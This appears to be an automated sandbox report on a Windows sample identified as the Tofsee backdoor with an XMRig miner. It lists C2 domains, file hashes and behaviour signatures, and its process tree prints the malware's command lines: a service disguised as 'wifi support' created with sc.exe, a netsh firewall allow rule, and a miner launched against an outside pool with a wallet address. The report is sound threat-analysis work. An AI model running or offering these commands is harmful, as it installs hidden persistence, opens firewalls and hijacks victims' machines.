Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/01/2023, 10:03

General

  • Target
    file.exe
  • Size 280KB
  • Sample230110-l3cfwsff45
  • SHA256 50ee5af6b149b5840890fc58dc1b733c5834ecc849d7ee5f5ca8df9103ec81f3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:504
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\szrpqtcn\
      2⤵
        PID:2216
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vleczipo.exe" C:\Windows\SysWOW64\szrpqtcn\
        2⤵
          PID:2596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create szrpqtcn binPath= "C:\Windows\SysWOW64\szrpqtcn\vleczipo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description szrpqtcn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3404
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start szrpqtcn
          2⤵
          • Launches sc.exe
          PID:4484
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3680
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 504 -s 1040
          2⤵
          • Program crash
          PID:3192
      • C:\Windows\SysWOW64\szrpqtcn\vleczipo.exe
        C:\Windows\SysWOW64\szrpqtcn\vleczipo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:804
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1600
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4264 -s 520
          2⤵
          • Program crash
          PID:4540
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 504 -ip 504
        1⤵
          PID:4588
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4264 -ip 4264
          1⤵
            PID:2676

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                vleczipo.exe

                • Path C:\Users\Admin\AppData\Local\Temp\vleczipo.exe
                • Size 11.1MB
                • SHA256 b775b9a8c0e7715ecf19e4fe777fd6420ef76b3107b94607da31308eccb98e2f
                • MD5 SHA1 SHA512 SSDEEP

                vleczipo.exe

                • Path C:\Windows\SysWOW64\szrpqtcn\vleczipo.exe
                • Size 11.1MB
                • SHA256 b775b9a8c0e7715ecf19e4fe777fd6420ef76b3107b94607da31308eccb98e2f
                • MD5 SHA1 SHA512 SSDEEP

                memory/504-133-0x0000000002D10000-0x0000000002D23000-memory.dmp

                memory/504-132-0x0000000002DED000-0x0000000002DFD000-memory.dmp

                memory/504-135-0x0000000000400000-0x0000000002BAE000-memory.dmp

                memory/504-143-0x0000000000400000-0x0000000002BAE000-memory.dmp

                memory/804-152-0x0000000002600000-0x000000000280F000-memory.dmp

                memory/804-151-0x0000000000730000-0x0000000000745000-memory.dmp

                memory/804-167-0x00000000029D0000-0x00000000029D7000-memory.dmp

                memory/804-164-0x0000000007500000-0x000000000790B000-memory.dmp

                memory/804-161-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

                memory/804-158-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

                memory/804-145-0x0000000000730000-0x0000000000745000-memory.dmp

                memory/804-155-0x0000000001DB0000-0x0000000001DB6000-memory.dmp

                memory/804-150-0x0000000000730000-0x0000000000745000-memory.dmp

                memory/1600-171-0x0000000000EE0000-0x0000000000FD1000-memory.dmp

                memory/1600-176-0x0000000000EE0000-0x0000000000FD1000-memory.dmp

                memory/4264-149-0x0000000000400000-0x0000000002BAE000-memory.dmp

                memory/4264-148-0x0000000002D39000-0x0000000002D49000-memory.dmp